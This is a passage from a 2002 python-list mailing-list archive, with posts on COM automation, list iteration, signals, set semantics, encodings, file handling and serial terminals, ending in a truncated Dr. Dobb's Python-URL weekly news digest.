Interfaces, which it can use to obtain the application object." In short: How can I translate the following C++-Code to python? // Create application object if (m_sendObj.CreateDispatch("WinFax.SDKSend")) { m_appObj.AttachDispatch(m_sendObj.GetApplication()); m_appObj.LeaveRunning(1); m_sendObj.ReleaseDispatch(); ... } This doesn't work: >>> import win32com >>> import win32com.client >>> send_obj = win32com.client.Dispatch("WinFax.SDKSend") >>> send_obj.GetApplication() Traceback (most recent call last): File "", line 1, in ? File "C:\PROGRA~1\Python2.1\win32com\client\dynamic.py", line 438, in __getatt r__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: WinFax.SDKSend.GetApplication >>> send_obj.GetApplication Traceback (most recent call last): File "", line 1, in ? File "C:\PROGRA~1\Python2.1\win32com\client\dynamic.py", line 438, in __getatt r__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: WinFax.SDKSend.GetApplication >>> Any ideas or hints? Thanks a lot for your help! Tino -- http://mail.python.org/mailman/listinfo/python-list From mwh at python.net Wed May 8 04:59:30 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 8 May 2002 08:59:30 GMT Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: "Stuart D. Gathman" writes: > I added the sgmllib.py and xmllib.py modules to setup.py, but distutils > puts them in site-packages by default - where they fail to override the > standard versions. What is the recommended way to make distutils > override a standard python package with a drop-in replacement such this? Write a sitecustomize.py? Cheers, M. -- QNX... the OS that walks like a duck, quacks like a duck, but is, in fact, a platypus. ... the adventures of porting duck software to the platypus were avoidable this time. -- Chris Klein, alt.sysadmin.recovery From eddie at holyrood.ed.ac.uk Fri May 10 15:03:29 2002 From: eddie at holyrood.ed.ac.uk (Eddie Corns) Date: Fri, 10 May 2002 19:03:29 +0000 (UTC) Subject: is there a better way... References: Message-ID: Christopher Encapera writes: >to loop over a list and replace an element based on its value than: >x = [1,2,3,4,5,6,7,8,9] >y = len(x) >z = 0 >while z < y: > element = x[z] > if element == 5: x[z] = '678' > z = z +1 > >Another words is there a way to do this with a "for" statement - some method >that will return the current z (of x[z]) in the loop? >(My goal is to open Windows logon scripts and update the path to the latest >virus DAT's) I have the following routine defined in my utils library from __future__ import generators # add sequence numbers to a sequence. # Instead of doing eg: # for a,b in seq: # do: # for n,(a,b) in number_seq (seq): def number_seq (seq): cnt = 0 for item in seq: yield (cnt, item) cnt += 1 Using this you would do: x = [1,2,3,4,5,6,7,8,9] for n,element in number_seq (x): if element == 5: x[n] = '678' Or to replace several things in one pass: froms=[5,8] tos =[678,99] for n,element in number_seq (x): if element in froms: x[n] = tos[froms.index(element)] A dictionary would be more elegant in this example I guess. Needs 2.2 obviously and a better name probably. Eddie From aleax at aleax.it Sun May 12 18:45:17 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 22:45:17 GMT Subject: Zaurus and Python, a good combination References: <3CDEE799.5030306@earthlink.net> Message-ID: <1gCD8.50351$zW3.677145@news1.tin.it> Ron Stephens wrote: ... > So, if anyone is looking for new realms to conquer with their Python > skills, I heartily recommend the Sharp Zaurus. I've been lusting for it since I first saw the pre-announcement of a "developers version" many moons ago. But Sharp is very rigid about selling it only in a few countries (Italy not currently included) AND in each country sells only the version with that country's keyboard layout (so that buying one, e.g., from Germany, where it IS for sale, would not avail me much -- I want a US keyboard layout!). They even forbid their retailers from exporting it, or I'd have an amazon.com-ordered one in my hands already:-(. You would think they'd never heard of globalization, or were part of the forces fighting against it... Alex From kragen at pobox.com Thu May 23 14:27:16 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 23 May 2002 14:27:16 -0400 Subject: Ctrl-C forwarded to command executed via popen on Unix References: Message-ID: <83adqqoh2z.fsf@panacea.canonical.org> Eric Brunel writes: > We've just noticed a very strange problem regarding the use of the > Ctrl-C key in the Python interpreter when a command is being run > through a pipe on Unix: the interpreter gets it, raising a > KeyboardInterrupt exception as it should, but the running command > also seems to get the interrupt! ... Is it a feature or a bug? If > it's a feature, what is the reason behind it? ^C sends SIGINT to the tty pgrp; processes you fork stay in your pgrp unless they setpgrp() or setpgid(). This way a ^C on ls | sort | uniq | wc kills all four programs immediately, not just one of them. Perhaps popen should cause the child process to ignore SIGINT? From tdelaney at avaya.com Wed May 8 19:07:37 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 09:07:37 +1000 Subject: NEVER MIND! Message-ID: > From: Carl [mailto:kingprad at mail.com] > > I solved the problem finally by moving the location around > about 12 times, > resaving and running. After 12 times it suddenly worked, > right before my > head exploded with frustration. Firstly, may I suggest that you should have posted this in reply to your original thread, so that people will see it when they read that. My initial thought ws that this was in response to another problem that has been discussed recently. Post the solution then. Also, do you understand *why* it now works? If not, you really haven't gained anything (except a currently working program) and so are likely to make the same mistake again - probably on this exact same piece of code when you want to add something to it. If you post the solution (with code), you will find lots of people here willing to suggest ways that you could avoid this problem in the future. The short piece of code you posted will definitely not work, because at the line print ch, ascii_val(ch) # ch is just a character read from a file ch does not exist (we haven't seen the code that binds it). My guess it that you had code of the form ... and that you called something in somewhere in . This will not work, because at the time that you try to use a name, that name must have been bound (or you will get a NameError). Code in files are executed in the order that they are listed - and a function definition is simply code to be executed. Note that this is different to referring to a name bound after a function definition - simply defining the function doesn't try to use the name - calling the function does that. Tim Delaney From bh at intevation.de Sat May 18 11:15:29 2002 From: bh at intevation.de (Bernhard Herzog) Date: 18 May 2002 17:15:29 +0200 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> Message-ID: <6qd6vtxzam.fsf@abnoba.intevation.de> Erik Max Francis writes: > That's not the half of it. Mutable objects can dynamically change > state, completely outside the control of the container. So the hard > question is: What happens when a mutable object changes its value, such > that it effects the arrangement of the set? How does the container get > notified of this change (which as far as I know there is no standard way > to test in Python), and what happens when a value collision occurs > within the set? Does one object get disposed? If so, which one? It seems to me that the most sensible solution would be to deal with it like a dictionary deals with mutable keys: By not caring about whether an object is mutable or not (there is no way to determine this anyway) but relying on a certain behavior regarding hash values instead. If an object is stored in a dict as a key, the only things that matter are that 1. its hash value doesn't change as long as the object is used as a key. 2. equal objects have equal hash values There may be some more subtle requirements. I'm not sure what happens when two objects that have the same hash value but do not compare eqal at first later become equal, for instance. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From nhodgson at bigpond.net.au Wed May 15 19:51:37 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Wed, 15 May 2002 23:51:37 GMT Subject: Embedded Python script debugger??? References: Message-ID: Salman Khilji: > I then want to let the user run scripts using some sort of a menu allowing > Python as a built-in scripting language of the application. The > application will expose a lot of its functionaility to Python (the internel > data structures will be modifyable by Python so that the power-users can do > almost anything in the aplication using the script instead of using the > GUI) The problem is that users will want to run the scripts in debug > mode---stepping line by line---stepping into, out etc. I don't think there is anything available that bundles this up neatly for you. If you are on Windows then you could use PythonWin as the basis for your app but that will be quite a bit of work. You could look at HAP debugger which is a bit similar to Komodo in that it works over a socket, although I think you have to run the Python code within their debug host. I'm sure ActiveState would be interested in licensing a bundled or embedded version of Komodo. A nicely componentised Python GUI debugger would be a good open-source project. This is a bit similar to the PyCrust project which makes an interactive Python shell that can easily be included in wxPython applications. Neil From huaiyu at gauss.almadan.ibm.com Mon May 20 21:59:29 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Tue, 21 May 2002 01:59:29 +0000 (UTC) Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <3CE95E02.BAC56F61@alcyone.com> Message-ID: Erik Max Francis wrote: >Huaiyu Zhu wrote: > >> The solution appears to be: >> - Allow mutable and immutable flavors of objects. >> - Mutable objects are hashed by identity. >> - Immutable objectas are hashed by content. >> >> No change would then hanve the undesirable effect you described. > >But then you can easily have collisions by value between the mutable and >immutable objects. That doesn't seem like a very good implementation of >a set. There need to be a different equal operator === (read as "always equal") that is used to compare keys. For example, the following a = {1, 2} b = a c = {1, 2} const d = {1, 2} const implies a == b == c == d, a === b, c === d, but not a === c. Therefore "a in setA" does not imply "c in setA", nor vice versa, even though a==c. The following semantical restrictions should apply id(a) === id(b) implies a === b a === b implies a==b a === b implies hash(a) === hash(b) a == b, a is const, b is const implies a === b Yes, I know this solution is complicated, but all the proposed solutions discussed so far map to some subset of this solution. All the disagreements were about which subset should be chosen. I think that every part of this solution has been proposed by someone. It is fairly obvious that with mutable objects, equality at an instant in time is different from equality for all times. There will never be concensus about which should be uniquely blessed, because both are useful. Huaiyu From Grant_member at newsguy.com Thu May 30 15:49:58 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 30 May 2002 12:49:58 -0700 Subject: semi-concatenated strings Message-ID: Hi Gang, I discovered today that strings can sometimes be concatenated without using a "+": ActivePython 2.2.1 Build 222 (ActiveState Corp.) based on Python 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> a = 'one' ' plus ' 'two' >>> a 'one plus two' I discovered this, of course, while making a mistake like this: >>> a = ['zero', 'one' ... 'two', 'three'] >>> a ['zero', 'onetwo', 'three'] (Note the missing comma after 'one'.) Is there some grand purpose here, or is this just a bug in the parser? errors-should-never-pass-silent-ly y'rs, =g2 From gcordova at hebmex.com Tue May 7 14:21:31 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Tue, 7 May 2002 13:21:31 -0500 Subject: problem with linked directory Message-ID: Because, when you type "pwd" from the shell, you're actually running an internal command, which "knows" that you're inside a linked directory, although the real cwd you're in is the true directory. Try running pwd with the full pathname, which should be /bin/pwd or /usr/bin/pwd, probably it'll give you the same answer as python's. Good luck :-) -gustavo From martin at v.loewis.de Sun May 12 11:08:06 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 17:08:06 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> <87elgientw.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > The content of what you wrote is identical to what I wrote. It's > optional, if you have good reason not to do so. The behavior of > > u"a".encode("UTF-16") + u"b".encode("UTF-16") > > versus > > u"ab".encode("UTF-16") > > is quite sufficient reason, to my mind. No. To my mind, this is good reason to not use UTF-16 altogether, but be specific about the endianness: explicit is better than implicit. Why does it help to have "UTF-16" to be a synonym to either "UTF-16BE" or "UTF-16LE", but not telling anybody what it is a synonym to? Regards, Martin From peter at engcorp.com Sat May 25 10:26:21 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 May 2002 10:26:21 -0400 Subject: Python help References: <3cef7001_1@news.iprimus.com.au> <20020525.235415.76065818.2117@iprimus.com.au> Message-ID: <3CEF9F0D.A498F831@engcorp.com> "Occean", please don't top-post. Put your response below the original: Occean wrote: > > wrote: > > def splitpart(x): > > return x.split(':')[1] > > > > s = "Student name:Yajen | Class:143 | ID:205851C" stName, stClass, stId > > = map(splitpart,s.split('|')) > > > > # Note: Older version require string.split(s,'|') > > I tried to use it but i get some error > > Errors involked : Traceback (innermost last): > File "./splitPark.py",line 9 ,in? > stName, stClass, stId = map(splitpart,s.split('|')) > AttributeError:'string' object has no attribute 'split' Are you using Python 1.5.2? Note Jere's warning that some older versions may require "string.split()". Try this instead: import string def splitpart(x): return string.split(x, ':')[1] and ..... map(splitpart, string.split(s, '|')) ... -Peter From emile at fenx.com Thu May 30 00:55:29 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 04:55:29 GMT Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> Message-ID: <5hiJ8.61314$352.3852@sccrnsc02> seraphim > I am reading the Python tutorial, and they say to use '#! /usr/bin/env > python' as the first line to be able to execute the program withought > having to type 'python file'. I am getting a bad interpreter error. I > am running Slackware 8.0 and Red Hat 7.3 as well. Any help would be > nice. If you can include the actual error information it would help... ;-) -- Emile van Sebille emile at fenx.com --------- From cbbrowne at acm.org Tue May 7 10:10:06 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Tue, 07 May 2002 10:10:06 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) In-Reply-To: ("Steve Holden"'s message of "Tue, 7 May 2002 08:39:55 -0400") References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: The world rejoiced as "Steve Holden" wrote: > "Terry Hancock" wrote ... >> Seriously, though I think that punctuation aides readability. >> > Of, ((course- $if %there[''s"] (((too *much@) of!) #it), +it, {can; {get}} > [in]- +the ~way~ `as`) \well). > > [...] > a-place-for-everything-and-everything-in-its-place-ly y'rs - steve I rather like the thesis of "verbal" versus "visual." Punctuation in traditional "human language" is all about providing a bit of a visual cue indicating different bits of emphasis. A comma indicates a little pause; a semicolon, a bit more of a pause; period offers a sort of "final pause." The sounds you make with a "!" differ from those made with "?". The approach of sticking punctuation _everywhere_ definitely isn't in keeping with the "human language" approach to things. It indicates that the pronunciation of the text has to be carefully managed at practically every word. We don't write text in "phonetic English," nor do we accent every word. (That's left to the French :-).) The notion that "being easily audibly readable" would be strongly correlated with code being considered "most readable" makes a lot of sense. Note that that indicates that Hungarian notation is Truly Evil (we already all knew that! :-)), just as would be the idea of pLaYing gaMES with sTUDly CapiTALIZation. And this points back to Leo Brodie's _Thinking Forth_, where the crucial concept is that coming up with good _names_ for functions is the most important thing... -- (concatenate 'string "cbbrowne" "@cbbrowne.com") http://www.cbbrowne.com/info/multiplexor.html I was just wondering if the Chinese are busy trying to deal with the "Year Of The Dragon" bug. From brian at sweetapp.com Thu May 23 22:58:29 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Thu, 23 May 2002 19:58:29 -0700 Subject: Questions on list.sort() In-Reply-To: Message-ID: <001e01c202ce$e2a3f670$445d4540@Dell2> Geiger Ho wrote: > I would like to know is there any difference between the following two > lines of code: > > 1. mylist.sort() > 2. mylist.sort(lambda a, b: cmp(os.path.normcase(a), os.path.normcase(b)) > > where mylist = os.listdir('.') There is a semantic difference on platforms where os.path.normcase is not a no-op. mylist.sort() sorts the list by ASCII order e.g. >>> mylist = ['a','b','c','A', 'B', 'C'] >>> mylist.sort() >>> mylist ['A', 'B', 'C', 'a', 'b', 'c'] So the sort order may change if the case changes. Cheer, Brian From peter at abbnm.com Thu May 2 22:18:30 2002 From: peter at abbnm.com (Peter da Silva) Date: 3 May 2002 02:18:30 GMT Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: In article , Christopher Browne wrote: > It's probably fair to call C++ the PL/1 of the 1990s; That is HORRIBLY unfair to PL/I. -- I've seen things you people can't imagine. Chimneysweeps on fire over the roofs of London. I've watched kite-strings glitter in the sun at Hyde Park Gate. All these things will be lost in time, like chalk-paintings in the rain. `-_-' Time for your nap. | Peter da Silva | Har du kramat din varg, idag? 'U` From pyth at devel.trillke.net Tue May 14 09:24:57 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 15:24:57 +0200 Subject: #ifdef like question. In-Reply-To: <7647A9F4B298E74DB6793865DA67285004AD59@exchange.adrembi.com>; from romany@actimize.com on Tue, May 14, 2002 at 04:05:28PM +0200 References: <7647A9F4B298E74DB6793865DA67285004AD59@exchange.adrembi.com> Message-ID: <20020514152457.J28033@prim.han.de> Roman Yakovenko wrote: > Yes it is. (meaning he wants to have either generators or normal list-returning functions depending on the python-version) well, you have two options: (1) put the different versions in different files (2) put both versions in one file Most people will recommend to do it the (1) way. This means you put your generator functions into e.g. 'funcs_generators.py' and the list-versions into 'funcs_oldway.py' then: try: import funcs_generators as funcs except: import funcs_oldway as funcs for item in funcs.getsome(): print item where getsome could be a generator or a full-list-constructing function. If you want to put both versions into one file it *is* possible but involves some tricks which are considered 'bad style'. So i am only going to show them if you don't want to go with the the other method :-) regards, holger P.S: i took this posting back to python-list at python.org as i think you didn't mean to sent private mail. From radix at verso.st.jyu.fi Fri May 3 04:51:32 2002 From: radix at verso.st.jyu.fi (Henrik =?ISO-8859-1?Q?H=E4rk=F6nen?=) Date: Fri, 3 May 2002 08:51:32 +0000 (UTC) Subject: Extending python with C Message-ID: Hi! I found that the possibility to extend Python with C is indeed very nice feature of Python! Exited by this, I made little testings how much speed up in some python programs can be accomplished. I also wrote a little 'note' about it, if anyone is interested, check http://kortis.to/radix/python_ext/ It includes two graphs which shows the difference between a pure C program and a combination of Python and C. So far, Python has never stopped to amaze me how nice things really can be in programming today. :) -- Henrik H?rk?nen [ http://kortis.to/radix ] From sandskyfly at hotmail.com Wed May 8 02:59:35 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 7 May 2002 23:59:35 -0700 Subject: taglibs equivalent in Python References: <32a4746e.0205071246.744a0f2a@posting.google.com> Message-ID: Ragu Bharadwaj wrote: > Is there an equivalent to Java Taglibs in Python? I'm considering > Python for a web project where it'd be useful to have taglib like > functionality which could encapsulate common functions. Why reimplement the wheel... if you want to use python for the web and have java experience, use jython (see http://www.jython.org) which is python implemented in java and get the best of both worlds. also see: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/117239 for custom taglib stuff done in jython. you-can-have-your-python-and-eat-it-too, sandy From bokr at oz.net Tue May 14 16:01:25 2002 From: bokr at oz.net (Bengt Richter) Date: 14 May 2002 20:01:25 GMT Subject: How to solve diophantine problems? References: Message-ID: On Tue, 14 May 2002 20:37:44 +0800, "Joshua, Y.J. Lai" wrote: > >"Cameron Laird" wrote in message >news:EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036 at lp.airnews.net... >> In article , >> Emile van Sebille wrote: >> >Joshua, Y.J. Lai >> >> I can roughly solve the diophantine problem by using a nest loop >> > >> >I'm not familiar with the "diophantine problem" and didn't, in a quick >> >look, spot anything obvious to me stating it. >> . >> . >> . >> Rough translation: a solution in integers (to >> a system of polynomial equations and constraints). > >Thank you for your precise explanation. The problem now I suffer is how can >I write a new checking loop >instead of using two FOR LOOPs as nest loop. I am really interested in that. >I will be very grateful if anyone of you can give me some hints. > This has nested loops, but they work a bit differently. You can just let it run until you get tired of waiting ;-) >>> def td(x): ... "The number of balls used to construct a tetrahedron" ... return x*(x+1)*(x+2)/6 ... >>> def tri(y): ... "The number of balls used to construct a triangle" ... return y*(y+1)/2 ... >>> def dioh(): ... x=xt=xp=y=0 # t for triangle, p for pyramid ... while 1: ... x += 1 ... xt += x ... xp += xt ... while xp>0: ... y += 1 ... xp -= y ... if xp==0: ... print "\rx = %d and y = %d , number = %d" % (x,y,td(x)) ... if not x % 1000: ... print "\rx = %d and y = %d , n(x) = %d, n(y) = %d" % (x,y,td(x),tri(y)), ... >>> dioh() x = 1 and y = 1 , number = 1 x = 3 and y = 4 , number = 10 x = 8 and y = 15 , number = 120 x = 20 and y = 55 , number = 1540 x = 34 and y = 119 , number = 7140 x = 78000 and y = 12577364 , n(x) = 79095042026000, n(y) = 79095048882930 Traceback (most recent call last): File "", line 1, in ? File "", line 7, in dioh KeyboardInterrupt The last line just keeps getting overwritten at every even thousand balls on the tetrahedron edge, until there's a valid output with td(x)==tri(y) overwriting it and advancing to the next line. Regards, Bengt Richter From larooy at xtar.co.nz Fri May 31 23:44:04 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sat, 1 Jun 2002 15:44:04 +1200 Subject: Why no open(f, "w").write()? References: Message-ID: <20020601154404.451f5c7d.larooy@xtar.co.nz> On 30 May 2002 10:10:52 -0400 pinard at iro.umontreal.ca (Fran?ois Pinard) wrote: > [Delaney, Timothy] > > > Why don't we have > > > while a = file.readline(): > > pass > > > while we're at it? After all, it's the same principle - you're trading > > off safety for saving a line or two. > > The Python language is oriented towards legibility and clarity, and I > would guess that the above has been rejected as lacking legibility, much > more than for safety considerations. > > Doing `lines = open(file).readlines()' looks perfectly safe to me, so I'm > not trading any safety. The goal of using such writing is not "saving a > line or two", but writing more legibly, by eliminating unnecessary noise. > Saving lines is not very important. Saving spurious lines is, however. > > All those things are quite debatable, there is some aesthetic considerations > associated with legibility; moreover, aesthetics do not alway yield to > legibility. I think Python is nice because it has _one_ artist in charge, > able to impose a common view. If it was "democratic", it would loose much. > > -- > Fran?ois Pinard http://www.iro.umontreal.ca/~pinard > And certainly if something looks safe, ideally it should be so. Why do we close files at all ever? Explicitly closing a file *should* be as rare as explicitly deleting a variable. The reason we do it is because we *know* something about the underlying implementation i.e. that files are buffered. I hope that CPython is never going to change that behaviour of closing the file for me when refcount=0 and I think the Jython developers should consider a mechanism for doing it too. When refcount gets down to 0 and we make an object available for GC can't we ask is it a file? If so we better flush and close it? One of the reasons Python is quick to develop in is that we don't have to worry about memory management much (but we can if we need to). Likewise the less I have to deal with the fact that some I/O is buffered in my day to day work the better (as long as I can if I need to). John From cliechti at gmx.net Wed May 29 15:24:31 2002 From: cliechti at gmx.net (Chris Liechti) Date: 29 May 2002 21:24:31 +0200 Subject: hooking pc to a card embosser References: <3cf4d84c.2524688@10.0.0.1> Message-ID: dyoungblood at mindspring.com wrote in news:3cf4d84c.2524688 at 10.0.0.1: > I'm hoping that you guys can help me with a project. I repair card > embossers ( machines that emboss-punch raised letters- on credit cards > and such). One of the ways that these machines can be controlled by is > hooking it up to a dumb terminal. I want to make a program for my > laptop that will simulate a dumb terminal and thereby give me full > control of the machine. Hooking up to it this way gives me the ability > to save layouts and change system settings, etc. The machine has setup > options for the following terminals: > 1) Sherwood 750-ST > 2) QVT 101+ > 3) Esprit 6110+ dont know what these are :-) however you might find some manual on the net. tried google already? otherwise you could make up a y-cable and spy on the serial port. > These use the serial port on the computer. my module is here: http://pyserial.sf.net plug your device in and play a bit around with it - maybe you're lucky and its a simple protocol. chris > Do you have any suggestions on how I can simulate any of these > terminals, the codes used and such? I am running Win98se on my laptop. > The embosser is NBS Advantage 2000 M1. > > I appreciate any help you can give me. > > David Youngblood > Eastern Data, Inc. > david at edi1.com > www.edi1.com > -- Chris From shagshag13 at yahoo.fr Tue May 28 13:49:46 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 19:49:46 +0200 Subject: Another stupid question... References: Message-ID: > > ;))) Looks like my (old problem) from yesterday. > > Well, look at the archive for more. i get it > check that you have the header files for the 'readline' > library installed before you 'configure'. I guess > you also need to exec 'import rlcompleter' (readline-completer) > somewhere in your startup files (PYTHONSTARTUP points to a script). > Oh and i assume that you are using a variant of unix :-) but i don't understand what i had to do !!! or what i must check !!! i'm a newbie in python, and unix' world... > Solution was the following: > > copy the readline.so from you old python installation into you new one. i didn't had previous installation, it's my first one... regards, s13. From kragen at pobox.com Tue May 28 09:52:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 08:52:00 -0500 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (May 28) Message-ID: <474A232E62902BB2.7B56BB42580BAD5E.1C607B1B5A97502F@lp.airnews.net> QOTW: "Object-oriented programming is an exceptionally bad idea which could only have originated in California." - Edsger Dijkstra (attributed) (quoted by Joost Jacob) Programming Libraries: PyUnitTestBrowser, a GUI test runner for PyUnit ('import unittest') tests, has been released, because its author was terribly disappointed by the primitive nature of existing GUI test runners. http://groups.google.com/groups?selm=acr79g%24fka%40dispatch.concentric.net NuxDocument, a Zope product that converts files from various formats into HTML and plain text, supporting Microsoft Word, Excel, PowerPoint, OpenOffice formats, RTF, and PDF, released version 0.9.2 on 2002-05-27. http://www.nuxeo.org/nuxdocument/ Biggles, a module for publication-quality 2D scientific data plots with output to PostScript, X11, and some raster formats, released version 1.6.2 on 2002-05-26. http://biggles.sourceforge.net/ Holger Krekel mentions that he has rewritten rlcompleter, the readline completer module, so that it works better. Michael Hudson is impressed. http://groups.google.com/groups?selm=mailman.1022012880.3531.python-list%40python.org PySQLite, a DB-API-compliant interface to the free-software SQLite SQL embedded database library, which is written in C, has released version 0.1. http://groups.google.com/groups?selm=mailman.1022168306.17444.python-list%40python.org Greg Ewing posts portable pathname manipulation utility functions. http://groups.google.com/groups?selm=3CEC5E05.396422FC%40replyto.address.invalid Python Programs: JinSitu, an interactive introspection environment for Java and Jython, with Emacs-style interactive evaluation, an object tree display, and javadoc integration, has released version 0.2. http://groups.google.com/groups?selm=acekba%247a0%240%40dosa.alt.net Current, a server for Red Hat's up2date protocol for distributing software updates to a group of machines, released stable version 1.0.4 and development version 1.3.0 on 2002-05-25. http://www.biology.duke.edu/computer/unix/current/ Discussion on Features of Python: Bengt Richter wonders how much code would break if list comprehensions had their own scopes (as new list comprehension users usually expect them to) instead of mutating variables in the enclosing scope. http://groups.google.com/groups?selm=acu6v9%24hlp%240%40216.39.172.122 Paul Prescod has posted an eloquent apology for Python's design philosophy, entitled "On the Relationship Between Python and Lisp." http://www.prescod.net/python/IsPythonLisp.html Quinn Dunkan has interesting thoughts about when to use tuples and when to use lists in Python, and when function syntax is preferable to method syntax and vice versa. http://groups.google.com/groups?selm=slrnaf293e.td5.quinn%40bolivar.ugcs.caltech.edu http://groups.google.com/groups?selm=slrnaf2aah.td5.quinn%40bolivar.ugcs.caltech.edu There was discussion about a general framework for adding new grammar rules to Python. http://groups.google.com/groups?selm=dopkeusu5c9m8ou2clt89b4dbrmmtd2tre%404ax.com Andrew Dalke, Hans Nowak, and Steven Majewski generate frighteningly creative ways of writing the conditional operator in Python. http://groups.google.com/groups?selm=Pine.OSX.4.43.0205221906390.17977-100000%40d-128-61-180.bootp.virginia.edu There was more discussion about Stackless Python, Limbo, Alef, CSP, Occam, and Transputer hardware. http://groups.google.com/groups?selm=uerd0l9d54dac9%40corp.supernews.com In fact, there was so much discussion that Christian Tismer got irritated trying to sort through it all. http://groups.google.com/groups?selm=mailman.1022408207.8430.python-list%40python.org Oren Tirosh would like to have 'for any' and 'for every' boolean expressions modeled after list comprehensions. http://groups.google.com/groups?selm=mailman.1022410902.27422.python-list%40python.org Ferdinand Jamitzky wants reduce-comprehensions, analogous to list comprehensions. http://groups.google.com/groups?selm=f32195af.0205261316.2482d4ac%40posting.google.com Simon Budig complains about the statement/expression dichotomy. http://groups.google.com/groups?selm=3cf27dda%40si-nic.hrz.uni-siegen.de Christopher Craig has implemented Karatsuba multiplication for Python long integers, so multiplying pairs of integers both of which are larger than about 2**120 (roughly 10**36, an American undecillion) should be significantly faster now. http://groups.google.com/groups?selm=mailman.1022289403.22367.python-list%40python.org Problems and Solutions: Johann H?chtl wishes Python applications could be executed from .par files, like Java .jar files, so they were easier to download. http://groups.google.com/groups?selm=3CEBAA0E.20006%40bigfoot.com Mark Chalkley, too, would like Python programs to be easier to distribute; he currently uses Perl instead, apparently because it's easier to distribute Perl programs. http://groups.google.com/groups?selm=MPG.175c24a5538e5d7a989687%40news.direcpc.com Yet another person is puzzled by the new property machinery almost, but not quite, working in old-style classes. http://groups.google.com/groups?selm=3CEDB5FB.49EEEDD9%40irl.cri.nz Matt Kimball discovers that the problems with threading fairness he was having last week weren't really Python's fault: http://groups.google.com/groups?selm=mailman.1021993724.8792.python-list%40python.org Jeff Epler posts a program to get Tkinter text widgets to size themselves to fit the text within them. It's pretty ugly. http://groups.google.com/groups?selm=mailman.1021999536.1228.python-list%40python.org Oleg Broytmann describes how he builds the Python interpreter in a shared library, more or less by hand, on his Linux box, and mentions that Python 2.3 will build shared libraries by default. http://groups.google.com/groups?selm=mailman.1022061577.7842.python-list%40python.org Michael Williams would like to be able to emulate the Pascal 'readln' routine in Python for the purpose of teaching programming. The nearest solution in the ensuing thread is the dreaded Python 'input', which trusts its input. http://groups.google.com/groups?selm=mailman.1022065417.1277.python-list%40python.org Paul Boddie and others discussed "cross-site scripting" vulnerabilities in Python CGI scripts and other dynamic page generators. http://groups.google.com/groups?selm=23891c90.0205240307.3eca7a57%40posting.google.com Irmen de Jong is working on adding a select loop to Pyro, which is threaded, and he asked for help integrating the select loop with the threading. http://groups.google.com/groups?selm=acqha3%24gli%241%40news1.xs4all.nl Scott Gilbert suggests a way to return 'array' objects from a C extension module. http://groups.google.com/groups?selm=79b2b0bb.0205271824.56773e2b%40posting.google.com Miscellaneous: EuroPython 2002 is next month, June 26-28, in Charleroi, Belgium. http://groups.google.com/groups?selm=acg6oc%24gh2%241%40newshost.accu.uu.nl C++ expert Alex Martelli eloquently explains why having a feature in a language means that programmers have to learn it and why it's best not to have multiple different ways to express exactly the same thing, and therefore, why C++ is a terrible language. http://groups.google.com/groups?selm=zEMA8.2731%24CN3.101018%40news2.tin.it Python 2.2.1 runs on MS-DOS; I missed this last week. http://groups.google.com/groups?selm=3ce7fc1f%240%2426970%249b622d9e%40news.freenet.de Lysator is building a build farm for Python called the Snake Farm. This should get build problems on various platforms ironed out in a hurry. http://groups.google.com/groups?selm=mailman.1022222381.31604.python-list%40python.org A couple of people request help learning pyGTK; responses pointed to several resources. Sample Applications: http://landialler.sourceforge.net/ --- a LAN dialer http://oomadness.tuxfamily.org/gtablature/en/ --- GTablature http://gramps.sourceforge.net/ --- gramps Tutorials: http://www.icon.co.za/%7Ezapr/Project1.html http://www.moeraki.com/pygtktutorial/gtk-tut.html How does one handle callbacks written in Python in multithreaded applications. http://groups.google.com/groups?selm=Xns9217DBE6F4C1Bcliechtigmxnet%4062.2.16.82 James Besemer writes a very long, but still interesting, description of his experience with performance-critical applications 